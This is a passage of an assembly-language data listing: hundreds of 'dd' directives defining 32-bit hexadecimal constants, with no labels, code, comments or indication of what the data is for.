		dd 8A8891DAh, 149B9FD9h, 382CD594h, 0E39EABA1h,	18948ECFh
		dd 8C7B0A8h, 9586C899h,	0AA7100B0h, 9D7BDB8Eh, 9E0AB725h
		dd 8DB088A1h, 9BD97500h, 78BC7495h, 0DF6A3B80h,	0B56EA685h
		dd 8168032Ch, 86C3BB7Ah, 0DC8A39F6h, 0E18043Eh,	0F01031FEh
		dd 0C9D215B1h, 30AC87Ch, 1CF847D1h, 0B01BAB9h, 0CF753842h
		dd 31C252Dh, 191ED1FCh,	0E80A808Fh, 681208C5h, 0ECB23800h
		dd 0A3AD661h, 0DA317C6Dh, 0C266032Ch, 0AE464277h, 88D1770Ch
		dd 56FFC60Ch, 0AEF50D30h, 9059CCECh, 0F487C1A0h, 82414CB1h
		dd 0A0688D24h, 0ADE40B3h, 0F4299C19h, 8F828578h, 8B58086Bh
		dd 3B73E477h, 0F91D9EF2h, 0A8B00E4Eh, 520B9A24h, 42C6D38h
		dd 0CC9072B3h, 619FC9F2h, 0E8B52845h, 0D035CDB3h, 0CA3E9EAh
		dd 37EB34E8h, 0B709E492h, 808792CFh, 7D2AA8B8h,	282874BBh
		dd 9A0CEFB0h, 0BD3D4450h, 4CD4C213h, 0EFEAB000h, 0E86AAE86h
		dd 0CE250B5h, 0B63B1367h, 0B0144530h, 0AF580B04h, 2FF03F82h
		dd 0C311649Dh, 0A8D2A13h, 0A08C07F0h, 41CE42BCh, 9A10D2B8h
		dd 1890B226h, 19D8FD24h, 4CF33696h, 0E0A17CF8h,	0FE5464D1h
		dd 9047D020h, 8CC14548h, 0C14F7140h, 7D4A29EFh,	463E918Ch
		dd 0E893A0E4h, 0B7B526C7h, 0C8984C7Ch, 2190DD84h, 6833940Ch
		dd 0BA3111ACh, 30297313h, 0B79A88BFh, 84AC62E0h, 0C4249E64h
		dd 40942698h, 0E049AC2Ah, 3B57E912h, 28380C32h,	0A3D45180h
		dd 0F90A0C99h, 8D058C63h, 48A85F5h, 4CB96BA1h, 0E0D67588h
		dd 21F47810h, 1D240EB2h, 6A4062D1h, 0E9604B84h,	28234852h
		dd 80857322h, 30990F1Ah, 0A15E340Ch, 7F21C88Ch,	0B4F80C23h
		dd 1DA84A85h, 3191A18Ch, 0CD8D8042h, 0F20C1899h, 56AC985Dh
		dd 8FF6A89Ch, 0BE0DF351h, 0F2A0C9B1h, 72241634h, 761114ECh
		dd 0D2B22E08h, 1B4374ACh, 50615772h, 6544CC8h, 0B63C2730h
		dd 0EC535134h, 89816FA8h, 0F9B49115h, 3057D84Dh, 555836C9h
		dd 2C264CB7h, 7C8D3FA8h, 0F8FC5E46h, 3E48AA18h,	994B910h
		dd 0DA4BA039h, 34307803h, 576744E4h, 1322DC14h,	30B22D3Bh
		dd 8D841836h, 6360F24Ch, 2CFB70B5h, 0A09C48E4h,	18DA459Ch
		dd 3711673Ch, 51E4E626h, 9BC73CE8h, 79BDF43Ch, 3C73D854h
		dd 0EC6D8106h, 3DF8101Eh, 8E4B5200h, 85889581h,	713C6E7Dh
		dd 5AC31F32h, 83B07807h, 2CAB85DFh, 79801407h, 0E1776FC2h
		dd 8BE4EC24h, 0AD0E09E8h, 44B8C076h, 0B49835DCh, 8058E822h
		dd 4BA75C6h, 76DDF2B7h,	0AF70B430h, 0C2807AEAh,	66D540E4h
		dd 7D488EE0h, 51B31178h, 7C7E9905h, 0D3203C85h,	0F20FD246h
		dd 26104BE1h, 7640101Ah, 82873Ah, 3603C9A2h, 601F5F95h
		dd 1CF7220Fh, 0B7C5A0E8h, 0C07BA2EFh, 0B827B0D0h, 0EC12EBFCh
		dd 5800440Dh, 3EA6986Fh, 49817AB1h, 63015C6Ch, 0CDE1C09Bh
		dd 7675DCB7h, 0F0B15290h, 70F2F601h, 0C1D32956h, 91B82A1Ah
		dd 0FA6D160Eh, 8C86B960h
		dd 5004ABAEh, 8565B036h, 14C7A887h, 52498Ch, 0BB872A7Fh
		dd 0B3308B79h, 4E086966h, 77740021h, 0CDC69A2Ah, 5C023E90h
		dd 0E909A9B1h, 9F2C405Fh, 0D8358136h, 828243E4h, 0AF5FDFD8h
		dd 7E011194h, 80261222h, 0A03329h, 0D4DC30BFh, 14E93B52h
		dd 0B42649A2h, 5414310h, 0FD667F8Bh, 47235C2Eh,	0E367E04h
		dd 0D404C8h, 4398183Eh,	7ECD587h, 8B8C2E00h, 0E482FBF2h
		dd 710A0326h, 5630F07Ch, 289E24F1h, 608587Ch, 5419EC4Eh
		dd 0A9940110h, 41FE2944h, 1D0C62B2h, 7F22B876h,	358B00B3h
		dd 0B5956213h, 974892CFh, 6A8F0500h, 8C20BD3Bh,	0D8F9F4B0h
		dd 85962869h, 195F6788h, 1078B2EFh, 6900D30Eh, 724A3C5h
		dd 0D579BDh, 5E584985h,	7B50C71Bh, 2FD15F14h, 0AEF9C0BCh
		dd 6A6A4D9h, 0BEEF35ADh, 7F00509Bh, 0DF9464CFh,	35417E16h
		dd 0F616AB3h, 0E840FA38h, 0C95D5660h, 34A1E600h, 0C2C02726h
		dd 8CD7484Ah, 1BADCD0Fh, 417D821Dh, 20836BAEh, 0F0B0B3EBh
		dd 0EC905648h, 0F7C4ED14h, 39007AE4h, 65725492h, 49EEB176h
		dd 0DA096827h, 20005D80h, 85A9DEBFh, 73C17009h,	1B04072Fh
		dd 9BD14Ch, 0C6DC6CA7h,	810C5B29h, 828E2805h, 6088E834h
		dd 7584017Ch, 7F633BB9h, 0F00444BFh, 0E91AF06Ch, 8058489Bh
		dd 83C9902Ch, 9A10C740h, 852BD738h, 0A2C4A40Eh,	0CF9E4300h
		dd 0A65C887Ch, 0C550069Bh, 407D6606h, 804CBA49h, 0BB882A80h
		dd 750B8781h, 28F48478h, 9DA73C87h, 0C2C19052h,	2480BA4h
		dd 930D87D8h, 0F589B0A8h, 98F02482h, 4CE812F8h,	0AC2183FCh
		dd 0C8F58101h, 0FCE6EA84h, 4847B4C4h, 0BD050457h, 321CE2h
		dd 0E617CFACh, 1448DA03h, 0ADA380C0h, 70711DB8h, 0B4F905F6h
		dd 0B414C729h, 0A700A014h, 0AA354C5h, 2988769h,	939AA1E0h
		dd 9440E883h, 4D24B33Ah, 203A647Fh, 0DBE2024Fh,	0DD1904B2h
		dd 94904C50h, 67B434FDh, 20B4C48h, 497EB5C0h, 33FB636Bh
		dd 6D214308h, 77AF5E00h, 0FFF23C01h, 33491Ah, 1D503100h
		dd 63DCCD43h, 0BCA1C00h, 0A2CEC27Bh, 0B9466015h, 8BA45B12h
		dd 33E39700h, 21DA7D06h, 0C7F4007Ah, 0D22E74C5h, 75EC8670h
		dd 793A5034h, 88DC0FEh,	42007EC1h, 20644148h, 0E5C58B15h
		dd 27050D4h, 0CFB63824h, 0A4407A52h, 0E9149A85h, 1DE0552Fh
		dd 0D340A692h, 0B5A0BB46h, 95E230C7h, 6CC88628h, 0A9AA4117h
		dd 0B9F28043h, 38A6F7h,	0F838DF8Ah, 7CB74D3Bh, 0F1C01A7Ah
		dd 0AF36A0CFh, 5A210009h, 46ECDE4h, 0CE041527h,	0C67E01B7h
		dd 1C026C95h, 206DB441h, 37CFE970h, 960B6C92h, 86B6DFC8h
		dd 930AD35h, 0A07ECB76h, 0B005F800h, 354C975Eh,	1A810C3Ch
		dd 3D458128h, 0AE96EFC4h, 0A6240BD3h, 21422826h, 0EFBC6A00h
		dd 86C22238h, 0C8D06E3h, 905E0FE7h, 5700DCA6h, 0DD9D7419h
		dd 41C033h, 0B392F71Eh,	9CEB820Ch, 80252800h, 949329C2h
		dd 0CAA50345h, 69B0416Eh, 3F1D112h, 198B5000h, 93E4C1B2h
		dd 0BAC2782Ch, 0F4C32604h, 0EC8529C9h, 30B7BC49h, 112A7DE4h
		dd 8869BB85h, 75728049h, 0AC53382Ah, 0B38CE000h, 5A54FE6h
		dd 0B6C7015Fh, 15FCB014h, 902867h, 23F17593h, 0A58B41BCh
		dd 80D1CE5Ch, 0E6FE735Eh, 0DB7800E7h, 9871FDC4h, 3C3762B0h
		dd 33906CF1h, 905CD0C2h, 3BA713F8h, 62F0D6B7h, 1400A02h
		dd 58D515C0h, 0FDBD28C8h, 38884DD4h, 83F58A80h,	448CA0F0h
		dd 8207AD81h, 0A8CA95F5h, 131A5A0h, 823C9142h, 541FC1F2h
		dd 5A0E7D02h, 910F3DDCh, 1CEE5707h, 3F740001h, 2A12A66Bh
		dd 3C088AADh, 0EFC6C083h, 0E346AE91h, 6C003C22h, 0D62AEFBEh
		dd 4AE40D25h, 758030DAh, 5528FC30h, 145FC049h, 6FD9DC40h
		dd 2CE7ECDDh, 214B81Dh,	633C60B0h, 848018C2h, 0BD929834h
		dd 97C21D3Fh, 0B4277D8Ch, 75837EF1h, 0F2410630h, 0BD840BC1h
		dd 0C8E85025h, 3703462Dh, 4DC7A38Eh, 4F3918F0h,	0B799213Dh
		dd 0FE48F500h, 0EE5F5A0Ch, 17A63C66h, 8EFF2D00h, 34E48A86h
		dd 3D906C17h, 5008B065h, 2A84C0BEh, 0A146BB8Ch,	791C4622h
		dd 92C12A7Ch, 3DD9F44Eh, 0B83B8440h, 3432802Bh,	684BEF4Eh
		dd 7CD0E68Dh, 0B803075Fh, 4008E5BDh, 758C6E43h,	0F0E11498h
		dd 80F51563h, 5FE12869h, 4CECA14Bh, 4C00C573h, 2BB19B4h
		dd 0BE051637h, 32BC21Eh, 4223F03Ah, 266DF900h, 4EA640Dh
		dd 8DA2405Ch, 0D4FCE450h, 691D2713h, 7DB21404h,	213E5046h
		dd 4FE03Bh, 35143BFDh, 1611CA71h, 9D050Fh, 0BF60540Eh
		dd 0A1649AC2h, 48C0C7F8h, 505C1F03h, 0C337FF3Bh, 33E4C818h
		dd 0E2BBF109h, 15C50A0h, 1FBE1066h, 282EEDF3h, 62E70BECh
		dd 0BA0C2091h, 0BAF6BF55h, 0F27E04E8h, 0F1467BE9h, 84582D90h
		dd 50B72EA7h, 58C38020h, 3D2941E5h, 5DA0AA81h, 16206090h
		dd 0F83134CEh, 2094A7B2h, 20E45349h, 60CBB784h,	4010AA5Bh
		dd 0EC15F24Eh, 7FC82E1Ah, 0A334F104h, 93809CEAh, 59B1F276h
		dd 90033073h, 3B8624B0h, 0F8ADD01Ch, 344EC052h,	0B70571F3h
		dd 28F62EFh, 42A08D88h,	4037D8A4h, 0C8D80486h, 9A5E00ACh
		dd 8055B50Ah, 9403E6CDh, 986366A1h, 8B43B8E4h, 7E0418AEh
		dd 1123713Ch, 626F5039h, 2037A688h, 8C927B1Bh, 4F855B08h
		dd 79FA8336h, 4C98EA1Ch, 0D779798h, 1980A096h, 0DFB7BC20h
		dd 40155AC2h, 23E4E680h, 622631C0h, 0C504F1D5h,	0FCC08E0Bh
		dd 1B52C4h, 11ADBD4Ch, 5ED81AA7h, 3AF08400h, 0AE2DE441h
		dd 53240020h, 44E77BAh,	94A43F2Ah, 0D019B1FBh, 1D1250CAh
		dd 341898D2h, 0B5B945ECh, 815A31E7h, 248E0E3Eh,	0F00EEC78h
		dd 0E00FA52Fh, 1461D2Eh, 4E3D386Dh, 0A4BABE04h,	7B4AC38h
		dd 67243188h, 0E5842360h, 26F11FDBh, 0C0301C66h, 9B40A098h
		dd 47704B9Ch, 0BE950307h, 0E22004A5h, 0F4C52BDh, 0A315B4F6h
		dd 0A705AA00h, 0A6F612BAh, 0FFC4B609h, 0EA285A4h, 0F0A81428h
		dd 30BB60A0h, 13C1BF97h, 0A620B6F8h, 4B50005h, 0BA5CE9Bh
		dd 9DEEE4A8h, 0BEE25A06h, 0D909812h, 3B2A101h, 0BAAD018h
		dd 96C09338h, 9F1B980Fh, 0B0286080h, 9708B9B3h,	9510D4E9h
		dd 0A078B261h, 31BAA9B6h, 59971598h, 0C253BC95h, 9D11150Ch
		dd 0A4007084h, 9C07A5E4h, 0A010C1B9h, 1809B688h, 2912BD9Bh
		dd 0CD072011h, 463575DBh, 4221E68Eh, 0C5020949h, 28884893h
		dd 25803E18h, 0A7151929h, 6633F82h, 0A9089E19h,	84F0E297h
		dd 0EA8F823h, 40C6A048h, 0D711EF80h, 38C1189Dh,	5A7FC4BCh
		dd 72105883h, 94F0574Bh, 0F40C06C8h, 7129C52Bh,	428239DEh
		dd 9987168Fh, 22114601h, 2FA99F8Bh, 0C78200A0h,	0C33A9CD1h
		dd 2A80A023h, 0C84C653Eh, 0E2181E1Dh, 0F206CB19h, 2EE24568h
		dd 8688A6EAh, 196A2164h, 7C42C80h, 467C11F1h, 0E2498A01h
		dd 3B3C40A0h, 9B6138C3h, 4C5B92A8h, 59A5B898h, 4A40078Ah
		dd 0E1226323h, 31185D40h, 0AE59D02Bh, 845B28D5h, 0E73F18C8h
		dd 0DE1440A2h, 1772A905h, 0DDC1C6A7h, 0C08635CFh, 511AC82Ch
		dd 3B875E3Dh, 3908B036h, 18BDE011h, 30D25974h, 0B9C29829h
		dd 0A0E8CCA0h, 14FC2FCh, 0E31451D7h, 51DA403h, 0C92548F1h
		dd 0B4DC1DFBh, 77FA03F1h, 301FD6ECh, 1872F785h,	944CA246h
		dd 4B5880DDh, 0A8278616h, 0EAC5E4C8h, 0C0FBB020h, 9F824B39h
		dd 7A6729D5h, 13862330h, 4E422818h, 0E854A14Ch,	828D3F18h
		dd 3AD5AD54h, 0A193A490h, 0C4F06F85h, 0B8666021h, 6F182421h
		dd 5CDE88D0h, 46C70CFFh
		dd 0D59E1F3Fh, 2623A1F1h, 3AA2284Ah, 1FF24E11h,	36A46784h
		dd 56113472h, 506B9E1Ah, 7E882E90h, 504B2BD4h, 88601028h
		dd 0A721D4C6h, 2255442Bh, 271535EEh, 4488C850h,	0AF116AF6h
		dd 0A12A8439h, 9ACC5CC8h, 20C8136Ch, 3F607212h,	0FC453468h
		dd 8160D048h, 2C89309Ah, 1D8C61A4h, 44C5C812h, 3349094h
		dd 1554338Bh, 14A8B21h,	0C8605E31h, 0BB0DCC63h,	311F3338h
		dd 0B0C2941Ah, 0C8112C52h, 184C2853h, 91610BC3h, 986C4C5Bh
		dd 264C2A10h, 2042B0DAh, 0C48B045h, 60B8986Ah, 8FEC111Fh
		dd 0E89174C1h, 38662A1Ch, 496DA868h, 99D445E0h,	143E1268h
		dd 88F7A4F7h, 21E48C81h, 1081141Eh, 9E01C5F2h, 6CAC60BDh
		dd 9C4CE17h, 0B4EF31Fh,	0EB3809Ah, 7B8FD97h, 1F21A814h
		dd 0A7BA41EEh, 0C4B4F03Ch, 0B36C0500h, 279801AAh, 14045CB6h
		dd 1B06F21Dh, 110F28BBh, 85B39B0Eh, 1CC0A502h, 0EB46C03h
		dd 27A805B5h, 1719AFh, 0BF980B24h, 0B7F012A7h, 0A305C478h
		dd 5E0DB3B9h, 41A0CCDh,	0E1EBC1FAh, 0B420A512h,	0B55E1C0Fh
		dd 184C14BAh, 341B8AA1h, 0C51305B0h, 24003133h,	0EAC604C8h
		dd 4B7F0C26h, 9E19BF74h, 11DD2517h, 574AB001h, 4C34A0AAh
		dd 9CAD17AEh, 0D2380F19h, 81787207h, 60D09377h,	4A03A814h
		dd 3BCE52F9h, 0F0D094C4h, 0BF9EFDh, 0FA7DA56h, 0E48F3943h
		dd 8187851Dh, 600068AEh, 0AEC04BA4h, 77461BCCh,	0C5C0190Dh
		dd 2F7BFC7Ch, 0A0B862F8h, 12C14080h, 0E9CC0530h, 0FDAB49A1h
		dd 58A9C2D3h, 0F65137BCh, 274F2C0h, 4D87CA0h, 6D233D76h
		dd 739FC7C6h, 1004FABDh, 0DAEF9CBCh, 0A68E4C6h,	5362BF72h
		dd 71E21FB8h, 9ADC8730h, 6381EDF8h, 775A2ACh, 0BFDFC3BCh
		dd 72104001h, 15F59CBDh, 31797899h, 8629E811h, 7E048CAEh
		dd 470C16CCh, 4581826Dh, 0C10EF8D9h, 0A8622348h, 0DC85027Eh
		dd 8A0AA03Ah, 0BE0038C4h, 96F52B82h, 0CEF10DFh,	0A0129771h
		dd 48A3A189h, 48D50912h, 4C5D2861h, 0CDB86422h,	6B2F59C1h
		dd 0D7F12091h, 0B0415FCCh, 6DDD0085h, 9AAD369h,	0C2012797h
		dd 0C4BE9B12h, 0A5E19D01h, 0E92C7866h, 0B49A0550h, 0C05487C0h
		dd 0D27B60F2h, 9B000DE8h, 3D4EA7E3h, 0A6410C1Ch, 32FE0060h
		dd 96392D2Ch, 4AC8AB2h,	0E872851Fh, 0D00C3414h,	0A0F20708h
		dd 94C8AAE2h, 0E9C5749Ch, 0A3082384h, 0C11A43E2h, 31F14274h
		dd 4988AC4Eh, 0AD09DD19h, 8E1FD05Ch, 0A221E164h, 3015794Fh
		dd 552449A2h, 63881051h, 733CB791h, 7C084646h, 70013B41h
		dd 2D0353DDh, 0B09CDBC4h, 0A463DD05h, 6C662B0Ch, 0A50208Ch
		dd 0C6D686E9h, 324811E4h, 24420949h, 91444843h,	121E1045h
		dd 20441F22h, 121A8921h, 481C241Bh, 2216911Dh, 19184417h
		dd 1349FC8Bh, 0D773FF80h, 770CEBE4h, 0C160DAD5h, 14089CA2h
		dd 0A0B684A0h, 54D40485h, 0E35080Bh, 43B1484Ch,	0A17E4723h
		dd 80E5D7BBh, 0A2139813h, 0E9FEAE07h, 0C0D1459Ch, 8ED09143h
		dd 74C878A1h, 9EF1F586h, 624742E0h, 0E99440B6h,	81B8BC41h
		dd 9FEB340h, 84F69E9Dh,	48A663A9h, 43FF4BFh, 56FEADFAh
		dd 7BF56088h, 0F011E1D9h, 747CEF75h, 5838A591h,	0B911A517h
		dd 5205ECE2h, 8E4B296h,	38A24F04h, 57FD0485h, 242058h
		dd 4194852Bh, 649C09B2h, 2112C430h, 0A548DF39h,	87565838h
		dd 0C4F4501h, 401E8583h, 0C1A0B6F0h, 0C73A3D18h, 94A2ECCDh
		dd 0A59F1314h, 0BE3E1Ch, 5E43AA1Ah, 0A4483CC8h,	74282F28h
		dd 0AB01E453h, 4C62C603h, 3985288Ch, 0E400D031h, 0B3825EEAh
		dd 0FABF87Dh, 1B384224h, 890F3360h, 2B3CDA50h, 1680D4C0h
		dd 89A68530h, 0F8E8CDA8h, 0C8460F30h, 0B08E52h,	4BF2F6D0h
		dd 146AD8FCh, 5C42A921h, 0A5979C00h, 0A7B24536h, 0A81F540Eh
		dd 93E163DBh, 163B90E6h, 0C8A60748h, 40534559h,	0FD247A40h
		dd 0D50DA9FEh, 702FE54Ch, 3E2CB7F0h, 0AD0CD615h, 0A088248Ch
		dd 20A4F60Ch, 1FCBB122h, 4055D78Bh, 561EBEC1h, 0C438A154h
		dd 0C248E0ECh, 160A02Bh, 3734578Ch, 0FD999245h,	3BB083ACh
		dd 9CF0C4h, 49DD8AF0h, 20A715FCh, 0C561FD60h, 956DAEh
		dd 7D4A1F91h, 425769F6h, 0BDDFEE00h, 0BE5B9F41h, 2B3E12D7h
		dd 0F000AB20h, 0ED1302B5h, 76433DE5h, 7990B380h, 0DD1CDF07h
		dd 0F371D600h, 8B68293Fh, 0F71000DCh, 5D1A296h,	200C794h
		dd 0CCB09760h, 1E8C8E35h, 40CA1FA5h, 7DAD16DDh,	0E9001AA7h
		dd 0E8F5109Dh, 7BA9B179h, 23A500B4h, 1AB375E5h,	0E37CDC9Ch
		dd 0C486B80Ch, 3B60804h, 0D179BA1Eh, 0C0A79635h, 0A988BBFFh
		dd 0B940A761h, 0BDF0E724h, 72AC14FEh, 39F40BFh,	77B0A7C2h
		dd 985AF6C0h, 0B83C21F8h, 60305388h, 0C38BAE98h, 81CA61Ah
		dd 0B48ABBFDh, 20D3DC00h, 0E8C288ADh, 5060A6AFh, 0AD368C5Bh
		dd 0C28BE004h, 8A07BC1Ah, 0CAA964C3h, 0B8E6AE42h, 23BF18h
		dd 24BE7DB8h, 6004C2E3h, 0C385EA0Ah, 0AEC12C35h, 0C440A586h
		dd 0F8640387h, 565FFA80h, 0F87B38BFh, 806D0111h, 76AE21C7h
		dd 1494D2B1h, 367A408Eh, 11FE8007h, 13639096h, 20DCA0BCh
		dd 1FF8A0E9h, 0F6843BEAh, 85505AA8h, 0A7C05504h, 0C704D9h
		dd 8E03DD99h, 7835E4ABh, 24DC871Dh, 1AC409BAh, 123481B0h
		dd 3586B7h, 0C111C3D0h,	0EA5B1028h, 83982480h, 0A5A8BF00h
		dd 0E919DCC8h, 40B64C75h, 0EA5A5063h, 0BF24E5D8h, 502033F1h
		dd 0B439806Ch, 0EC822423h, 74605035h, 0D0FEC6AAh, 4426091h
		dd 9A65F1BFh, 21F3020h,	0AF088AEh, 90C978EBh, 244026BCh
		dd 7B81586Dh, 0E51EC278h, 0F05F5460h, 0D030E3ACh, 61A53C87h
		dd 1CB19107h, 0AAC392B8h, 0A9F0C060h, 0C407A7B8h, 0B58BE455h
		dd 8C40104Dh, 17B1F151h, 0B75B019h, 7002EA47h, 0FC61E716h
		dd 0C0BCE058h, 9138A090h, 18E6BCA9h, 0A6601DC4h, 0C0AC901Eh
		dd 0BD75E758h, 88307B1Ah, 0B9BC40A8h, 6FE87420h, 717C8B1h
		dd 4C8AB453h, 0F07C8B30h, 0A1C7E878h, 0EBC0C375h, 0A18BF86h
		dd 5FBD7DE9h, 7D044898h, 7F8A556h, 8579EB20h, 0FED4D855h
		dd 78E3A70Bh, 0CA6031F0h, 2BC02E0h, 0EA55A58Fh,	0B84EC289h
		dd 829D1893h, 0F0091992h, 8A1C83A9h, 8B44AFBFh,	0BCADE880h
		dd 0C2AE7CB2h, 74E72030h, 8CC17CC3h, 86B6E0C2h,	6D22B114h
		dd 0BE044660h, 79CA65A0h, 0BC4B359h, 5B61FC5h, 0E49C1AB4h
		dd 0CBA4D55h, 9801138Bh, 60B725B5h, 21E91ADCh, 287CD3D8h
		dd 0C4B8242Ch, 551C0749h, 58EA09FCh, 0E452C48Bh, 2450329Fh
		dd 503BC0C8h, 20C4752Eh, 0AABFA507h, 69779D4Fh,	77C320C7h
		dd 0E4EAA2ACh, 0C38B2920h, 3C0F692Ch, 0E7248098h, 34C27D26h
		dd 0E9588518h, 20B305BCh, 0C1B58CB0h, 94FE866Ch, 0D218A680h
		dd 9AA85004h, 91FF38DAh, 12F8EA04h, 0F0CABF3Eh,	24F84B6h
		dd 1EB7ADB6h, 18877829h, 0C864C3D1h, 0B69905E7h, 3B88AD1Ah
		dd 0B805C068h, 2CAAA8A7h, 0BD878E7h, 64A7ACADh,	0B61A5175h
		dd 0B3185579h, 0F05044F8h, 95CAF61Dh, 86E8FA05h, 0A88320D0h
		dd 38AF5C1Eh, 0C3E31A13h, 0A9A0BA44h, 3C9EAD20h, 3AD4E649h
		dd 0A900935Bh, 1EB68A94h, 0BE1E8BE9h, 0C40BB822h, 0E28C8F07h
		dd 0E090B916h, 74AC9C90h, 82987CC9h, 1DB750C0h,	0B821B460h
		dd 0F623C484h, 4F1EE877h, 795049AEh, 0DC18C86Ch, 0E36825DFh
		dd 0E08F5CF4h, 52801628h, 0D3EC34C2h, 0C417EC96h, 340B50DDh
		dd 87AE21E0h, 0C8E090BEh, 0A078AD16h, 9D7BF0h, 997AFEE0h
		dd 86AE23C2h, 0B3A8F00Ch
		dd 0F792175h, 7DE9A9B8h, 0C8B0145Dh, 300E5527h,	10E0CC96h
		dd 8010014Eh, 0BF10D438h, 1606A73Eh, 0E8E388E9h, 146BA9F8h
		dd 0A160E328h, 1C2123C5h, 74E6DC00h, 202160A9h,	86E7ADA5h
		dd 914B13Ah, 0C21FBF75h, 54E0EEB8h, 78F4C435h, 278CA47Ah
		dd 0F83055FAh, 8A72B417h, 0D8D8CBF8h, 0A3C38788h, 8DA0A7DCh
		dd 749F5881h, 15E78BCh,	8E59828Ch, 0E198BDB5h, 0EF47E19Eh
		dd 0E5B08BBBh, 591E8DDBh, 45804299h, 5887EE9Fh,	6EB93E81h
		dd 8FB39D0Fh, 28F89E06h, 88EE981Bh, 42BAA018h, 4EBD1E84h
		dd 54703047h, 2E3ACEEBh, 2FD219AAh, 50FBFD08h, 0E9E2A30h
		dd 438742CBh, 5A8FEEA0h, 45F0BA9Bh, 884C8C6Dh, 0E84B8DF0h
		dd 568103B8h, 58BBBCCBh, 46C143A3h, 4B4EE080h, 871FA0F8h
		dd 8C189F54h, 58F9BE8h,	80B78345h, 4445047h, 0B448AFBFh
		dd 0B6428104h, 92DCC04Bh, 0B8008471h, 1266AA8Bh, 3D647CF9h
		dd 0FE00AC53h, 0E2E988D0h, 0EA11A209h, 6703DC04h, 0C1F189EFh
		dd 0C8C6E6E0h, 2C001AFAh, 389F6C8Ah, 25686Ah, 0B558F328h
		dd 0A3BBCEE1h, 0AC0B6E0Ch, 3B2E589Eh, 9D01F456h, 70062B3Dh
		dd 0A7A080A6h, 5DDB6827h, 6B7800A0h, 0D0F003B0h, 0B603F631h
		dd 6CEFADA6h, 0EB2002FAh, 0BE7A5642h, 8370209Eh, 3821158Ch
		dd 37F88EEh, 0EB5C4A24h, 417C069Fh, 0D009CB0h, 0F2A72394h
		dd 0CCAF2B2Ah, 6B218E08h, 8B0DBC2Eh, 0D8610E00h, 1D98E7E2h
		dd 586083A6h, 0EF55F025h, 20102364h, 68054F00h,	0BB621885h
		dd 0A02937F0h, 763177C8h, 0D902809h, 0B0482290h, 4DE45700h
		dd 0DDC72BF0h, 9FAA3A28h, 66759E02h, 0EC90F70Eh, 0E900483Fh
		dd 0C9E1B7C6h, 0ACB34E1Ah, 53DF401Ch, 5BEBF9C0h, 241FAD0h
		dd 3EA928E3h, 848496A5h, 0DB5609Ch, 0BF232395h,	6400B311h
		dd 0E9EF0DBDh, 7E0726C3h, 8F615CD2h, 369F976h, 0CF10BE94h
		dd 0C9E81B32h, 0D70012B5h, 0A4223955h, 0A1E71C27h, 98418CD4h
		dd 3980E2C3h, 674CABFh,	9D576E4Dh, 65A20098h, 0C6B6087h
		dd 48557D81h, 0D2A93426h, 49802F19h, 71BC0FA3h,	0EA0AA058h
		dd 1C729222h, 1206FCC4h, 28A199EAh, 0F881CD1h, 0F5467FECh
		dd 804B69E0h, 17146C40h, 3ED45E20h, 408E2A2h, 499CA0BBh
		dd 0F2ADCCFEh, 725B38B0h, 0EEC37480h, 20085F91h, 0CF283D0Dh
		dd 0E401D021h, 9011F187h, 888022D7h, 86A0205Ah,	1F72454h
		dd 145CF19Ch, 70528861h, 4018118h, 146C90DDh, 0FE6C0F71h
		dd 70B0EF7Fh, 36173FE8h, 34D85C93h, 36308CC9h, 8A3C2126h
		dd 673C3h, 144FAEE6h, 715A0E85h, 5BEE4906h, 0DF7086A8h
		dd 9FCE4490h, 0CBEC88C2h, 73EDA700h, 0A64A9A64h, 892666Ch
		dd 0AC0021F6h, 341DED9Fh, 146E26B9h, 0BC819436h, 5A5310h
		dd 2B3E1A54h, 0C6B9A8D9h, 41E5C3B1h, 95B3C500h,	0DF997EBEh
		dd 23BA3D51h, 0E0C0EF8Ah, 244389B0h, 584F8087h,	0BBB3BA83h
		dd 53B0189Dh, 0A857E91Eh, 94F82F28h, 0C44B8880h, 0B1CFE493h
		dd 0BA842043h, 2EB460C8h, 0CD032474h, 94EE80FCh, 9B57B5E5h
		dd 4FEF860Ch, 0C0E0086Bh, 0E59C8C21h, 0DD0029B1h, 76544113h
		dd 280B6694h, 15B8BD6Ch, 84E73C21h, 39D10418h, 36052B9Eh
		dd 78C08ABh, 3D89F400h,	32A8103Ah, 75A0FCCBh, 609CD484h
		dd 214CEDA4h, 0ADC0A264h, 1C44ED9Ch, 4020A59Ah,	0B9D5E867h
		dd 79C0D366h, 9ED9AFB0h, 3A871C26h, 40D7C08Ah, 0A97DCE54h
		dd 5FBB5014h, 94E00C0h,	0C05378C5h, 141C926Ch, 0D8EBACEFh
		dd 851FEA00h, 2A36BCAAh, 4E0E4092h, 20A72E73h, 0AFD2CF7Eh
		dd 5508CC66h, 7B016F21h, 0B876B92Eh, 0FADC74A0h, 23C8A001h
		dd 24A783C8h, 62E49403h, 98047184h, 48EDF067h, 4B434264h
		dd 0A11EF322h, 8040EDA0h, 8344E0E7h, 0A69C0BD0h, 68049E7Bh
		dd 54FA44E1h, 0AC94E888h, 0A3FF0980h, 1421C52Bh, 8C757B60h
		dd 31213618h, 887700BCh, 0C9B35BB7h, 0F5004D28h, 1B7D64A8h
		dd 0C02D56FAh, 0B44B8E29h, 5906F4B0h, 0D01FC904h, 3C1932FAh
		dd 3C0A7C58h, 95807511h, 9357B6E5h, 8DE3448Ch, 11E59D00h
		dd 0C27E922h, 0AECCA0DFh, 7F01857h, 0C342B8EBh,	0EEDEBE00h
		dd 92413954h, 0F8C91597h, 0B90CAC5Fh, 5551D07Ah, 0D66FD83Dh
		dd 1B506278h, 3BA900C0h, 0CF17DC09h, 1C0EEBC9h,	813EF064h
		dd 2182047Ah, 80B40C53h, 70856218h, 484DCB30h, 248F07B6h
		dd 111C2735h, 2E4D81BEh, 31D6A7A5h, 756D105Bh, 9E90032Eh
		dd 27FB5083h, 3B645042h, 0D9E854C3h, 6952EE00h,	946492A1h
		dd 0D1D0096Ch, 8083A39Fh, 304CD51Fh, 48C79DCh, 23900D88h
		dd 20B16287h, 5A0DB067h, 0B33D7E01h, 0FE4037A7h, 368BF886h
		dd 8300A95Ch, 0E655532Ah, 9C1F732h, 7FCA13ECh, 8815BF00h
		dd 19042B4Ah, 0B0E0D5B4h, 6C0F43C0h, 0A0E8B2F6h, 732A410Ch
		dd 2484B885h, 7C0C5C3Bh, 1600EA46h, 7DBD7ACDh, 4F241DFDh
		dd 60C0A863h, 3B87365Ch, 0F5A8E1B6h, 71A14688h,	238E0D08h
		dd 4EB2C497h, 0EC0DA761h, 15ACB400h, 0DF70149Eh, 0AEA2CC46h
		dd 311E206Ch, 4C2EFAFBh, 0B8EF4740h, 6480A1D5h,	0C08F34F0h
